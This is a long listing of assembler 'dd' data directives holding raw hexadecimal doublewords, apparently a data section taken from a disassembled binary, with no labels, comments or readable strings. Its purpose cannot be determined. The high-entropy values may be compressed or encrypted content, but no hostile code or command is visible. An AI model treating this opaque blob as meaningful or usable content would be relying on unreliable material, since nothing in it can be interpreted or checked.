		dd 0A5F05909h, 0C3B02095h, 12686FD2h, 3B7B68Ch,	2AE4FEF4h
		dd 13ACE85Ah, 0B401D849h, 685319A1h, 0D1FC2081h, 12797EEEh
		dd 3424C99h, 0C88A0181h, 35F3111Eh, 0E4AF499Eh,	76394060h
		dd 4100E209h, 685A6C2Eh, 0FEC33EDh, 9099076Fh, 0E0C31E63h
		dd 0D09EA6C1h, 0BB3C3C3Fh, 38B4CC68h, 0AA9F1854h, 0FFC968h
		dd 0D342331Bh, 2118631h, 24B42C48h, 66E2B0CAh, 8A670049h
		dd 515D1DE8h, 2C4380D4h, 92403942h, 976D2644h, 192B9FE0h
		dd 0FA051841h, 2CEF1040h, 7BCF0B05h, 80C0C853h,	0F3B2173h
		dd 0C66345E8h, 18DF9EC6h, 12ADB907h, 0C8D010D7h, 2C4680AEh
		dd 806C732Bh, 0FC782C2Eh, 4C60F08Ah, 3EFFD291h,	0E1460039h
		dd 60D83C48h, 411E3058h, 0E2071643h, 0F9875E94h, 0C350C0BAh
		dd 0B8378082h, 500AE70h, 0E41A454Ch, 0EF88FB7Ch, 249415FCh
		dd 15685C96h, 0D5159022h, 611418B7h, 53B23036h,	0F680F0A0h
		dd 56601B9Fh, 25B77340h, 17EA99h, 82020A88h, 84093F2Eh
		dd 6BD2B315h, 5C0175D0h, 831C01B8h, 0A02013F4h,	20AD17B5h
		dd 16A00FECh, 6142485h,	9006D00Ch, 70E4FF52h, 42BAED0Ch
		dd 2EBB993Ch, 80A8CDB3h, 5EB42E15h, 540CF0E9h, 187318E2h
		dd 8914093Ch, 1C00CFA7h, 8B1DF7FDh, 0EC452B26h,	95277D00h
		dd 9ABB2D5Dh, 0DCF53EE4h, 54D84B2Ah, 6C408B9h, 0CEAD6AD4h
		dd 0BC4F8156h, 705031A8h, 7B1C0A0Bh, 0FCCA73h, 15AC27B7h
		dd 0A491C73Dh, 0B600AD24h, 2416C367h, 1FA27CFCh, 0A68245BAh
		dd 6E1286FCh, 0B57C40CCh, 80016C28h, 84553106h,	49C3A1h
		dd 0B3034A7h, 4452D210h, 5099421Dh, 0B0219E1Bh,	13D302Ch
		dd 8305805Ah, 200EC315h, 4F50F11Ch, 857110FCh, 0E12CEA00h
		dd 0AB7BD046h, 2078D3B7h, 5F93ADD0h, 0A4B4A4A0h, 0F2144080h
		dd 0C200F349h, 18C07C09h, 1548C921h, 909A47h, 8918FBCBh
		dd 30FA6D3Ah, 0F974A87Bh, 2DB0D050h, 18546E07h,	0A0EE2313h
		dd 3F077260h, 921D02ACh, 9CF5BA26h, 3EB73882h, 422D4F00h
		dd 4A433025h, 9F2E8010h, 0D9F0BE00h, 0F4E0E68Eh, 0E8E3004Ch
		dd 0A9DE4B84h, 93007CAAh, 0DA383B90h, 1DBDBB52h, 4E3D682Ah
		dd 74407180h, 69532CC5h, 0B8219900h, 3540E10Eh,	16DC3DA6h
		dd 0A7B500FDh, 7BFAF7BCh, 2C00383Ch, 0BF18CEA1h, 342ECE0h
		dd 40BD89C7h, 30F80117h, 366016BEh, 0E53C2170h,	3E460060h
		dd 6E92394Ah, 0A1009103h, 99D20915h, 0F0ACD640h, 22AE002Dh
		dd 44D788C8h, 5B0B0EC1h, 12C2ACCh, 0D668384Ch, 7C5255F0h
		dd 20DA0458h, 0C087C1C8h, 11233AD4h, 967692FCh,	0D6AF78C0h
		dd 0A53E80h, 0F71BC774h, 0A3F836BFh, 47EC5806h,	9604355h
		dd 0DBA8BDD9h, 0C5385A80h, 3701D10Eh, 7AB20F95h, 0B89EA625h
		dd 883F00A1h, 0C76A0E32h, 0D7C68100h, 84A373BDh, 1B5F0067h
		dd 6D28A768h, 9600128Eh, 13E0F34Eh, 0BC1709h, 0A1D48325h
		dd 0BBD32B0Dh, 1A00C5F0h, 0FF1B36FDh, 63A41997h, 0D47908D0h
		dd 2EB2000h, 601CC4FDh,	0D6EF047h, 26A1CA8Eh, 0A478F041h
		dd 0D638BC50h, 13D9C31Fh, 0EFE02177h, 0F46CFC57h, 0D6C91001h
		dd 888864C1h, 4BFD1760h, 98371B10h, 0E68170C8h,	9BF4FCFFh
		dd 20E41521h, 2A49006Eh, 746C6A0Dh, 0FC13CC96h,	6D07F8EBh
		dd 0BCF30F0Ch, 0E2CFC0D0h, 0FC98A0F0h, 0B85A0707h, 0D08E9BAAh
		dd 7EC92D31h, 0D83EB307h, 0E5E006C6h, 51DA29Eh,	0B074E673h
		dd 0AAC1C086h, 0E80E224Bh, 0B795F8h, 0E6FCDC5Dh, 5AC00E23h
		dd 86C071BCh, 0A5742425h, 9D31B00h, 0CD5F9CB7h,	0FF850076h
		dd 0B88166Fh, 9B0799C2h, 8DBEE2B8h, 70C0EFB0h, 479000CAh
		dd 0DB6066CEh, 0EB0024D7h, 6316EC2Eh, 159703Eh,	8AC184B9h
		dd 9EF0784Eh, 26DF31A8h, 0BB1C7E00h, 0FC111A5Ah, 0A0C607E0h
		dd 0A7051710h, 3A577079h, 0AAF09F74h, 0B2B94E00h, 0E4D452BFh
		dd 0C14A0067h, 997B2F92h, 4706AA19h, 0BCB931EAh, 0CB0C0758h
		dd 0A0C02E69h, 446B48BBh, 0AD49E40Ch, 30820D6h,	0F91AE6D8h
		dd 783B64DDh, 11788331h, 0E89719B6h, 283E2D5h, 61625E9Bh
		dd 1E425155h, 0F5B38020h, 10034159h, 52F0306Ch,	19219857h
		dd 0B7160071h, 0E8D9A0C7h, 0B6031CA7h, 24F24393h, 232E872h
		dd 4A0F00ABh, 0B9801379h, 0A300F6D5h, 29938CB1h, 0CA6CCCh
		dd 0A5854640h, 2D9713A1h, 72B3CD03h, 0A0B2E66Eh, 73F2AA4h
		dd 12B92E85h, 3519A073h, 3D060FB0h, 292267C2h, 837F0020h
		dd 0E45E6D12h, 0C5F652A6h, 0D816EB00h, 42FE382Ch, 0C35D017Fh
		dd 0E5B990FCh, 0E75A30B5h, 4700EE77h, 463F0579h, 10E5DA5h
		dd 44F401D7h, 98EBFE53h, 0BE215108h, 800D00F7h,	5B0102DFh
		dd 0C50CB6B3h, 5A2D0748h, 169F09Fh, 0DF8E4DD0h,	94E73940h
		dd 28976EC0h, 506107Eh,	8540E227h, 0B888C859h, 0D40FEAC0h
		dd 455C2101h, 0F8BFC4BBh, 626C000Eh, 233DE215h,	1D02D054h
		dd 3E05198Ch, 1E3C4103h, 3010B456h, 3420DFF1h, 62075A69h
		dd 92F275E6h, 0FBA714B3h, 244CD85Ch, 9B734Fh, 526822Fh
		dd 20C3E47h, 0D11DEA00h, 2D66779Dh, 48F2A0h, 0F4CEA261h
		dd 93EDB830h, 0C10B9A1Dh, 0C25CF5C0h, 0F736956h, 0B9011C3Eh
		dd 47688120h, 46000C39h, 0D64D8FBBh, 3CE3BD41h,	6000F9E1h
		dd 0BEF11CB9h, 0DD001166h, 42BB1F7Ah, 5CAEDB0Ch, 0C400B823h
		dd 79A2AC44h, 48C15DE7h, 9ECC81CDh, 706A420h, 76700FA3h
		dd 0FF689039h, 0EF03F228h, 93B9372Dh, 0B69AE073h, 43E2056Bh
		dd 0EE1E15A9h, 0AB91FEC0h, 1A3B1F3Fh, 292D0046h, 44717AB3h
		dd 0F7B16060h, 0BE8B9Eh
		dd 665AD7D9h, 892572C2h, 4F885401h, 0B8F67A7Fh,	92EAFCh
		dd 1884F715h, 11573B22h, 2868BB00h, 4E7A23A9h, 0F1C0392h
		dd 30C489CDh, 2BA2B81Eh, 0EA9FFC40h, 0C4665A8h,	6667C396h
		dd 5B001490h, 1B2A0E04h, 0E7303F4h, 6FE72D45h, 0A5DB019Eh
		dd 0FC21E926h, 9800F2EBh, 0BF13FAAEh, 582D3FD6h, 5E1EB58Dh
		dd 37F2EC28h, 5CF3E428h, 1938FD91h, 0E24470C4h,	0F828A1F3h
		dd 0BE951441h, 13DD6611h, 31510007h, 506FA592h,	6A0058F7h
		dd 41762A0Ah, 89FA24h, 3DC7C825h, 8501E6EEh, 0B5A02F01h
		dd 0D6FE6A7Dh, 7078B020h, 0B62A0056h, 47954199h, 3D1D21B9h
		dd 0D8001D8Ah, 0F6BBDEA1h, 86193A31h, 9C847780h, 6D7CCF57h
		dd 0D8F76600h, 5E41CBB4h, 0EB0F00DAh, 2056F137h, 51007074h
		dd 0C47AE5BDh, 0B86AA2CEh, 0B9250410h, 0AB46C68Fh, 0D3B70400h
		dd 0EA78B1C0h, 4D5A00A9h, 274E605Bh, 960085ABh,	0E50ABFECh
		dd 5900761h, 2F67153Dh,	0B6CC0F44h, 0CF34B94Eh,	83BC280Fh
		dd 7BA0874Fh, 41E7105Eh, 881A6500h, 92334CCBh, 1C3B0099h
		dd 0F8B98956h, 4400E90Ch, 168F7ABh, 1DE6A025h, 0C0D040F4h
		dd 0F9280E62h, 6F01C2FFh, 0BE2A448Dh, 8FF4A02Bh, 0F45904E9h
		dd 90B829B0h, 58999B10h, 0A4BE7400h, 0D46F2107h, 0AD2C0039h
		dd 18B37DA6h, 6100C2C0h, 0E891AF93h, 83D9C5h, 7CB83972h
		dd 3B5A27Eh, 12031DB0h,	5DCD95A7h, 7136D81Fh, 0A9800A5h
		dd 5243E71Eh, 0C4007B6Bh, 0A9EC3DC0h, 90FB07h, 3F4EEF48h
		dd 74EA3B41h, 0DC79171Fh, 0F63EB543h, 382B012h,	0D0DE07D5h
		dd 0AE5D4C37h, 4E6593E1h, 5A50F4ABh, 9F005974h,	5509611Eh
		dd 3D3EDBEh, 0C4BDD538h, 2D06EC5h, 7B0EC3AAh, 806C449Ah
		dd 371CFAF9h, 7FD107DDh, 0A7BA28C2h, 3294507Ah,	2300C925h
		dd 0C0DEFD4Eh, 0F2C58Bh, 0C44FE55Ah, 781D37B1h,	2B45900h
		dd 176D81CBh, 1FA37AA7h, 413E3Dh, 0A5D416E0h, 0FF00EE54h
		dd 80914536h, 0D62495h,	467FB481h, 74ADA4CBh, 1C148648h
		dd 37AFACEh, 15422BE1h,	4392EAh, 2854A255h, 1C9DC31Fh
		dd 82AEF800h, 749B2DA5h, 557C12EDh, 0CAA00008h,	14B57A04h
		dd 0ACF8DB06h, 0A8AB39h, 11237CBAh, 0D8A86CD0h,	58724900h
		dd 0C51AEF7h, 0CD8500DEh, 68C781FAh, 760086C1h,	46142511h
		dd 0B46910h, 90E7A58Ch,	7FC34581h, 0ED392A00h, 0F4CD04C4h
		dd 750F2E9h, 594C0D73h,	906E6057h, 64E00777h, 8F009090h
		dd 20F172DBh, 0C532E1h,	38C35876h, 0A5BC83Ah, 94C6EE00h
		dd 79E870Ch, 532C0F52h,	71411A0Fh, 213037B8h, 3479607Ch
		dd 2D024300h, 9FE1B977h, 2FAD0023h, 659E4ADDh, 8EEE7044h
		dd 77000892h, 4CCED826h, 80D5C6h, 0C725DD5Fh, 8BE092FDh
		dd 4008EFEh, 1F247DB6h,	669307h, 0A628C5C3h, 0E1C8904Ah
		dd 8FCF8206h, 24C4715Bh, 8FE63h, 69F58D73h, 10001C15h
		dd 0A4CDB7A2h, 4BC82Dh,	0C92908C6h, 0A37A8D9Dh,	0AFE3FE03h
		dd 0E8715681h, 745078Ah, 48B7C124h, 0CD9B91E0h,	6DC0C8EEh
		dd 77A91E01h, 0A2E4C727h, 0F82D8h, 7EC40821h, 0F2CC742Dh
		dd 0DD006370h, 0AE406804h, 0B33ADEh, 4D6D4414h,	584B5506h
		dd 75A9850Bh, 0ABB002A1h, 0A830437Ch, 2C2B47B2h, 16A2D0Ah
		dd 2CF96EBAh, 5F2EEC87h, 377A0500h, 0FFC1E784h,	9227002Ah
		dd 0EE89DBCDh, 7B00E50Fh, 0DE286A62h, 40A638h, 5BB717DDh
		dd 6F428E20h, 0B367337Ah, 1FC36210h, 3D35C8EFh,	22FC00DEh
		dd 0E855CE66h, 577A284Eh, 36FAB40Fh, 917D019Eh,	7CF4EDA8h
		dd 15B23ADCh, 86B1F700h, 97782F5Eh, 8479A4A8h, 0C8D0AC00h
		dd 837BADDFh, 0ED2E253h, 0D769A402h, 0A7780A0h,	2A09F934h
		dd 0CF06FEh, 0BCDC8265h, 0E2550268h, 91267FAh, 0E083D090h
		dd 6A0338h, 0D8BFFC84h,	74A94A7Dh, 0A6403CF0h, 0F212A700h
		dd 3A2DCE9Dh, 70E12507h, 41F3CF9Ah, 0A5D2A0B0h,	0C6AB01C3h
		dd 0D7CBCC95h, 0D1870E8h, 9C6C3C0Ch, 3D66766Dh,	0C0D87916h
		dd 0C3EE7B00h, 3BF9D79Ah, 9DB63A13h, 652E2042h,	618F8E1Dh
		dd 4DCD4E5Fh, 1F8DFC30h, 5BB0C6h, 0CF1341F6h, 0AC01439Bh
		dd 0EE78766Bh, 0D2C10A69h, 87BFAE40h, 6E3E00D3h, 0C3565C6Fh
		dd 811D242Fh, 8F80D877h, 915A1839h, 864701E6h, 0FA627DBFh
		dd 5F44FC5Bh, 0D36D4300h, 0B068260h, 66C600E2h,	0DFBE2462h
		dd 7E0023AFh, 0BAB06D64h, 3A98BBh, 3EC6EF9Fh, 126AABC5h
		dd 2AE62500h, 13BC564Dh, 5460E7C1h, 6D2900EEh, 4BADBEC4h
		dd 4071EA6h, 131F3D71h,	3495DA60h, 608A3AFCh, 0B7FD5B80h
		dd 1A5C3B14h, 0A005AF6h, 8E1B1A7h, 38F6873h, 91C7285Dh
		dd 61D9B24Bh, 525CE835h, 0A10076F4h, 95721A0h, 27318Ah
		dd 0C2EEBD9h, 2C940F16h, 0F8004EE4h, 0DF192F81h, 3C61F61h
		dd 0F58A3C45h, 68909BB2h, 824D7F24h, 9CA700F0h,	0CDB62390h
		dd 0EE57268Dh, 0E78B0E42h, 85F50A00h, 7D0016B4h, 1BECA18h
		dd 3C0D3EC2h, 0FE80D187h, 46E73AF4h, 7F00B0F9h,	0E908AEEDh
		dd 23F203h, 934ABFC6h, 66A76260h, 757560F1h, 0AD58E000h
		dd 312A8CF4h, 7260F63h,	0C16E9411h, 41792902h, 81D930E0h
		dd 845D8703h, 0B07FA878h, 1272593Bh, 9705A1h, 0AEF4FFBDh
		dd 0E0008F88h, 0B0E51C0Ah, 2C999C64h, 2C4039h, 1E6AF0A4h
		dd 4A01C143h, 0FC8550ACh, 5E43F11h, 0DD17005Ch,	6E26F438h
		dd 2F001047h, 0B35ED6CCh, 4871B906h, 7AA0CEh, 0F0216F03h
		dd 0C5272FF2h, 1CD558h,	1D9B8607h, 121659F9h, 6D41D1h
		dd 0A2D95880h, 0E600A3C3h, 85DE302h, 72D56378h,	38B20071h
		dd 0B4CB4BBEh, 0AC1F14B1h, 104037E1h, 348EBC90h, 47AA00C5h
		dd 64837E61h, 5030B5FCh, 40C27909h, 0C34800E2h,	43B95ACFh
		dd 0BD0073D0h, 0FB47798Eh, 28B8FDh, 3DF283B1h, 976DF73Bh
		dd 8F1D5A7Ah, 0E3407E16h, 2F9CEB52h, 0C8D46055h, 63900ACFh
		dd 0F5D1F300h, 7C70CDE0h, 0C07B008Fh, 5DD00BB4h, 24000FAEh
		dd 79967695h, 9AC0446h,	530E7BBDh, 1D32CC82h, 0DEC38FE0h
		dd 24CAE701h, 0F4FA6CC0h, 347F2F0h, 0C65CE967h,	6FD0C129h
		dd 0B10BE237h, 875DC289h, 0B1AE7BD0h, 2D1E2501h, 2035B5E3h
		dd 0A15C3B10h, 4CDB0328h, 0D04222h, 6D9BEC8Ah, 0EB39F5Fh
		dd 0EDA19100h, 81235CC0h, 977F24h, 7D717064h, 7F748285h
		dd 0E900D873h, 2021FB62h, 8704E8h, 75DAEB23h, 7D6AE458h
		dd 3503B8E4h, 3909A7CEh, 23849066h, 2530008Bh, 5BA3C6A8h
		dd 9600C4E8h, 0C859B2FFh, 74AB07h, 6B6450B4h, 0C6AD971Ch
		dd 8E38FC7Eh, 9A4A806Ah, 0B4903C33h, 95103A7Ah,	0FB809E80h
		dd 1D5B89B9h, 0D1F6900h, 861058Bh, 0DD810032h, 122BC411h
		dd 93778E44h, 2A8AE600h, 3C879C1h, 47990027h, 66764B62h
		dd 8E0E52Eh, 61002A7Eh,	879E122Fh, 35BE6Bh, 0F382E0CAh
		dd 0AFF8A81Dh, 0F0C7E0F7h, 4F83D700h, 0F935E806h, 90490C01h
		dd 0B428EEF5h, 6C78751Ch, 0B9427E80h, 0F8A9AB67h, 5BE00BDh
		dd 73821AE3h, 0A0F4F4Eh, 8098FEFCh, 745C920Ch, 0A2480011h
		dd 0C24B011Bh, 5E75AEC6h, 70F9BF8h, 240A19B8h, 0D4800CFFh
		dd 0F44260h, 0B47B0550h, 0F523917Eh, 8A35D507h,	0EC002B36h
		dd 38EB8B71h, 0FA00F24Ah, 685474E4h, 630059A1h,	72739EB2h
		dd 0D33492h, 2E108A9Dh,	0A3F63075h, 0E170B000h,	3B9A4C77h
		dd 8DF0001Bh, 6D04C8A2h, 377D269Eh, 852E052Eh, 0D37DC901h
		dd 7D315ECFh, 35FDF0h
		dd 93C2BCDAh, 710A44FBh, 1C00BB48h, 18BF4A7Fh, 0C310BA09h
		dd 0EDFC00F8h, 75D67B25h, 98B0673Eh, 94A93B00h,	0B59EB8B9h
		dd 0D3792Ch, 13035FA0h,	0F9C28E11h, 0F166A800h,	37E7BDC0h
		dd 722D39D2h, 27FACE00h, 2F8A889Ch, 0C40026F6h,	460EB601h
		dd 0DBDA0Dh, 3B98C032h,	0F097E33Eh, 16C2A900h, 71AC72FAh
		dd 0C1E000EDh, 76F30C0Eh, 94008706h, 0CCD7934Bh, 0EC3BC7EEh
		dd 0F087E1Dh, 0B69962C1h, 0C9943C20h, 0AF0AD596h, 0C8D07C5Dh
		dd 5F9BD807h, 3044F301h, 74E54CCh, 70D601F4h, 0E06AB04Bh
		dd 0E70A8105h, 88C7223Ah, 9707B200h, 4B16775h, 661759D8h
		dd 219080D7h, 0BB003EB7h, 6849F425h, 32B3979h, 0BC51E540h
		dd 3D885AA7h, 4600C213h, 36B26C61h, 3ABBF58h, 0B06E95D9h
		dd 0DB8A8FBh, 0CC00D851h, 0FEA362B4h, 0A56A86h,	0B7CAC691h
		dd 4B47066Ch, 0C3222B0Fh, 0A45F22FCh, 24F4804Ch, 2465E179h
		dd 0E19892h, 9B53940Dh,	90797E69h, 57AEAC07h, 9110C263h
		dd 754C711h, 0F4BDDA67h, 0D8083666h, 6387100h, 0B9F6DFF9h
		dd 0A4A70095h, 624F7E8Eh, 0E90013A0h, 0BFCFBBB6h, 4C063F14h
		dd 0A3003C15h, 1B824EA5h, 62006B43h, 420E4D55h,	3154D7h
		dd 376EF4DBh, 50655BACh, 322B3500h, 10895845h, 0C55E0049h
		dd 411FA96Dh, 0CB483ACEh, 4B1900C0h, 803251F9h,	0F6F410h
		dd 3787150h, 47ACEAABh,	0A526A300h, 81941674h, 0B3DD0028h
		dd 219383D5h, 4401E5F5h, 41BC557Ah, 0F881C38Dh,	323FA35Dh
		dd 0CAE8502Ah, 6B225092h, 3CCF104Fh, 8B6900ACh,	2724C8F4h
		dd 3BD4026Eh, 0A525216Dh, 0B1BA7360h, 0B5503200h, 1CC87C57h
		dd 287B0027h, 941EB363h, 59009A91h, 0CD4F0E71h,	1F9D6BEFh
		dd 92CC7FA0h, 0BB34008Fh, 951E77CEh, 24F01801h,	0EFD81C68h
		dd 6058F940h, 9FC9242Bh, 7C5B00A8h, 12D5D056h, 75A17100h
		dd 0A496E5F8h, 0EDA0061h, 9B3404E3h, 0EE000A99h, 1DAFF637h
		dd 458273h, 6E3205F5h, 4FC6E427h, 3B0DDE00h, 0FD7BCFBFh
		dd 1CEB5922h, 0B4C58300h, 0F7E2F9DFh, 6C6212B0h, 6871B636h
		dd 759EB140h, 96040F16h, 0A3600A65h, 6FF06C7Bh,	7A4FB00h
		dd 0C51C4283h, 5269005Fh, 0F94AECEEh, 65019131h, 1558CB0Dh
		dd 0C06E0440h, 3864571h, 22FE4400h, 0FB34C285h,	0D1EE26EAh
		dd 0EBA8014h, 7B0246E8h, 0F400F3FCh, 63DBCC70h,	7E6D1520h
		dd 0B41D13E5h, 930000Dh, 0F4567BDFh, 110738F0h,	0C6B624AEh
		dd 92268401h, 137E2DE4h, 6198ECh, 102AF9DEh, 593D5CBEh
		dd 90B980D8h, 0D1072F0Ah, 6785028Ch, 6281A147h,	0B7AAB063h
		dd 331E8480h, 9F001F45h, 137B0C66h, 0F079E34h, 3CEEADD6h
		dd 0FEA74720h, 0A41CA662h, 99CFC422h, 0DBD140C9h, 0B99369h
		dd 90F5EF3Ch, 0DD120BA5h, 8B17200h, 6D43F131h, 0A9C4034Ah
		dd 6E1A0FE5h, 13233007h, 6856728Bh, 0FBDD0710h,	27503017h
		dd 0C17CD5F7h, 40133B2Ch, 0FD34B4E4h, 61106C00h, 5684F9ABh
		dd 3C6F0E47h, 884212A3h, 0DF41BE1Dh, 948BCC28h,	7FADAF1Eh
		dd 0A1809D4Fh, 341EBD64h, 8E9FC8h, 23AC43E6h, 0C0D32E1Ah
		dd 257E60C1h, 58D3AE12h, 0D00F470h, 0B5347E0h, 8272ACF5h
		dd 620129D6h, 77F18FCDh, 18F9B834h, 20DDA3E5h, 0CC0EA46Fh
		dd 81DB2698h, 7964CF6Ch, 3B25F0h, 50363AD7h, 86AEB6F8h
		dd 0C9C33100h, 95F20E9Eh, 1DCE69Ch, 0CCB72652h,	81F4A122h
		dd 88CE6610h, 0F7E0D20Bh, 31F600C8h, 725D2697h,	5A01E853h
		dd 0ECFC76D7h, 0BF8B377h, 0B22D00E2h, 441E11B1h, 8A09B867h
		dd 80DE9F62h, 0ED7AF666h, 0B545006Eh, 0ED75908h, 9400C569h
		dd 0B4E89324h, 1F05B0h,	4C7260C6h, 0AA03E5C4h, 4E9FB100h
		dd 0C1011ACh, 43FA035Fh, 1D422BCBh, 0D0B07890h,	9185AE0Eh
		dd 8F425F58h, 8311CC0Ch, 0F008EEA8h, 0FECEF34h,	0A451F243h
		dd 7F6A76E0h, 0AD540F88h, 960094BCh, 334663E3h,	66317812h
		dd 49C00832h, 0E500AFE2h, 0D0090825h, 0F093DBh,	7EB16335h
		dd 4782796Ah, 38D4BF54h, 93EDE105h, 22C56629h, 0A28F1E83h
		dd 725CE8F4h, 0EFEE002Fh, 0B06D3A92h, 7D19424Ah, 0D8218FC8h
		dd 16C5ADF5h, 99D40840h, 2400903Ch, 18445364h, 0B31C086Ch
		dd 803920C3h, 23A2983Ch, 166E14E8h, 48005CC1h, 0F6888BEAh
		dd 9C05E241h, 5736393Dh, 0C18278C7h, 304426h, 0AB5EB860h
		dd 45AD1F12h, 1870D737h, 9FEA2690h, 0D5930117h,	0F73FA1Bh
		dd 0A264EC6Fh, 0AD91B8C2h, 9A5890C4h, 0EC8E393Ch, 21A031C6h
		dd 0B8F4813Ah, 0E7AE0F95h, 0C781383Fh, 0F8F0F28Fh, 0CD901A10h
		dd 0B4F7A00h, 2157A27Fh, 0BBE400CDh, 0E1883685h, 0C1FCBAA3h
		dd 8392C500h, 5F3E3F2Ch, 57D205CBh, 80D8FE9Dh, 0EE379EAh
		dd 34005976h, 48D7C491h, 11AF055h, 2DAF284Ah, 2098BDA5h
		dd 0C4FA4042h, 0EA05580Eh, 685D209Eh, 1EF088FAh, 7A5439h
		dd 0A5B776E4h, 56075A49h, 41265115h, 3D75EE80h,	0E8390007h
		dd 77054B3Fh, 29CFA484h, 723031h, 733A5FA3h, 3BFDC1EDh
		dd 646B7F00h, 67C9A089h, 6E4418F6h, 0CAE84E87h,	0C852CC00h
		dd 0E97A217Dh, 0FB748Bh, 0B4266CD3h, 0C6537539h, 3D076179h
		dd 0CACF5610h, 0BF91C590h, 5BFD03F9h, 98A6438Fh, 1C4A87h
		dd 47A534Fh, 0C0003EE1h, 5CD00734h, 4A938Ch, 0A6B72B72h
		dd 0C9811B6Bh, 9A450801h, 69CD1364h, 9F3180D7h,	0F4EA00DCh
		dd 19C8B27Ch, 2506A2Ah,	6B055E98h, 0DB351685h, 0F337EF80h
		dd 7E07002Eh, 98A40E21h, 0B907D324h, 7305E6C7h,	0A7F15970h
		dd 0D64D0069h, 0DF49144Ch, 510E048Ch, 806577BAh, 0A9D4B848h
		dd 0EE110003h, 0C1458DB7h, 0BC007A87h, 0B131FBFCh, 757C5DAh
		dd 0FE04487Eh, 0C8AA50FDh, 3700D182h, 253E162Bh, 70E2D8h
		dd 869675E3h, 55E12ACDh, 7E5FC300h, 0B15CC5E5h,	2FFC00F3h
		dd 0DC42EB17h, 0D407D74Dh, 499E30BBh, 0EF80B387h, 1188509h
		dd 41A5276Ch, 209F6893h, 0A4003614h, 0C97D7573h, 9AB8B6h
		dd 4A46FAA9h, 8430BEC6h, 1B8EFCA0h, 14BA172Eh, 0A1D9B300h
		dd 1CFC0CC4h, 73A563h, 8D821D7h, 0DD00CB29h, 50EAF88h
		dd 74F8E664h, 0E2860087h, 14D63603h, 0EE1E5DD8h, 4C40261Bh
		dd 982B897Fh, 260AE6E8h, 49B14Dh, 12DA44D4h, 9C00662Eh
		dd 0B7290453h, 0B3D98Bh, 0EC8539B2h, 0B16BE0EEh, 70608724h
		dd 5B00773Ah, 0FB2D32D9h, 2488Bh, 0FFF664B7h, 0BE50AC9Dh
		dd 7F787098h, 0E7906907h, 0C0305C03h, 804124h, 2A0B25E4h
		dd 0E18C6ACAh, 99ACAF00h, 0AE590197h, 0CC3E005Fh, 66458E5Eh
		dd 0F50372C5h, 4285633Ah, 9DA15075h, 6EF000B5h,	2E276DE1h
		dd 0A038DAF2h, 0EBE4008Fh, 51433ED8h, 0CFAA0F1Ah, 36008B01h
		dd 6DF06185h, 0B049D600h, 0ADBC6C7Eh, 2507CD4h,	0C0C5605Dh
		dd 9040F12Ah, 0C10718FAh, 0F3FF0702h, 858023C4h, 2AD50Eh
		dd 55EC6860h, 94F76BE2h, 91227000h, 9080092Dh, 975B0008h
		dd 110C136Dh, 85007776h, 0B3D4D92Fh, 9B72Eh, 72C4CC71h
		dd 7706CB99h, 0AC621028h, 2D013A00h, 1627D5E3h,	69EE0083h
		dd 0A5D4E922h, 88008F6Dh, 0A3BD809h, 0EED8047h,	0BFD9FBFDh
		dd 0EAE5E7h, 8FC072C8h,	0B72F6500h, 1E59366Bh, 9D300024h
		dd 41A9AE73h, 1F1F9B3Ch, 0C0C1218Ch, 6D9303ADh,	58811C30h
		dd 3B260688h, 1384856Ch, 0C7885EBFh, 0F0F795ADh, 0A4FF3AE8h
		dd 470E3Bh, 256C8DBBh, 0E8ECC18Ch, 1777DAh, 0CEA22669h
		dd 0D21A9002h, 9C5DF000h
		dd 16970AE2h, 3C8BF8CDh, 0D1006DE3h, 9FD2E486h,	0E500D4F6h
		dd 0CDE0D50Ch, 1DEC64DCh, 2AA58C3h, 877FB854h, 5702BF80h
		dd 2A032B01h, 0A74CE012h, 3B9FA07Ch, 35B0031h, 2163A6C9h
		dd 8B0077B9h, 0FEBC926Fh, 70258Ch, 0A5203248h, 0A4C78360h
		dd 0E1632E00h, 12A03C5h, 0B68C2617h, 0CC12F5h, 3072DC51h
		dd 0D700567Fh, 317368EAh, 12055A7h, 80B5A69Bh, 0F13308C0h
		dd 504480A8h, 1B75E50Fh, 5307006Ch, 516BD0D3h, 5CEEF465h
		dd 1E164303h, 0F02CCEE9h, 0E896CA52h, 0E3EF0031h, 12D29B61h
		dd 3800DB0Ah, 0D84C1377h, 7D9CB8E0h, 0AD3C1DACh, 0F489C307h
		dd 50BFEBCBh, 2EB69ED0h, 0FB522C00h, 1792CA55h,	610D00DEh
		dd 2489681Eh, 63B83B10h, 43D4FD00h, 0F0EE63F5h,	0C4D50041h
		dd 0CAEAF320h, 1600EDFFh, 0A91C1348h, 0E929E3h,	0C478C89h
		dd 0E64C67DDh, 54D4617h, 3159700h, 19AC13Dh, 7D2E1E63h
		dd 0D4EF7EAEh, 4B00B2F7h, 0A58C5A97h, 33A61Ah, 169E96DDh
		dd 64D4514Ch, 6323B01h,	8173A179h, 2C54CBECh, 3E1FBA5Bh
		dd 0A712E000h, 2AF9B3C2h, 447F6E00h, 50399FEDh,	483AFABBh
		dd 2F00FFBFh, 2BB4AC4Dh, 7D983B51h, 0EF17E803h,	0A042C9DBh
		dd 1C1CD1DAh, 9FE00B1Dh, 50C20EBDh, 0B9F17D00h,	0AE001B8Fh
		dd 26608C8Ah, 16A057h, 7701803Ch, 0D925303Eh, 80E06E3Ah
		dd 86946DA8h, 0A4A3DFh,	0A2F06A27h, 0ED5B2289h,	510FC878h
		dd 200B9C32h, 90BC45E1h, 0BF2C0011h, 0DEE54B0Ch, 0D6007119h
		dd 0AB3F315Fh, 1F6F30h,	33073E38h, 294FCE10h, 8000DCE0h
		dd 69DE24Ch, 3412F15h, 0ABB3189Eh, 0AF9F3EA6h, 5E8BB4E1h
		dd 0C7ADEC3Ah, 0C628361Dh, 0F8A5F387h, 6E385DD1h, 0A2932881h
		dd 602EDD92h, 6002D6Dh,	60E21FC5h, 0F785EEh, 0DE362466h
		dd 0C0E81C48h, 4E35A304h, 5480A6B6h, 194AD87h, 5C8453A4h
		dd 20E88A51h, 50EA31CCh, 0C97CF3FCh, 2409AB90h,	3D1CFFBh
		dd 0B1FDB398h, 96D5F014h, 24F31082h, 0A8486C7Dh, 791FC5EAh
		dd 3ABAE7FFh, 3B520A22h, 0F006107Eh, 39988Ah, 0F9CFC2CEh
		dd 0FFC92ACCh, 0DDAE6607h, 5FD9407Fh, 0F0D44400h, 2407AFB4h
		dd 33A4A1ADh, 0AEAC83h,	0EA6AC711h, 0A97079A5h,	3EC8CF00h
		dd 0BF344C42h, 0CED50E6h, 0CCB605A6h, 0ABB27FBh, 5850E644h
		dd 9601B2EEh, 0B1F1C766h, 93EDDDDEh, 4DE87ED1h,	0A9B400F9h
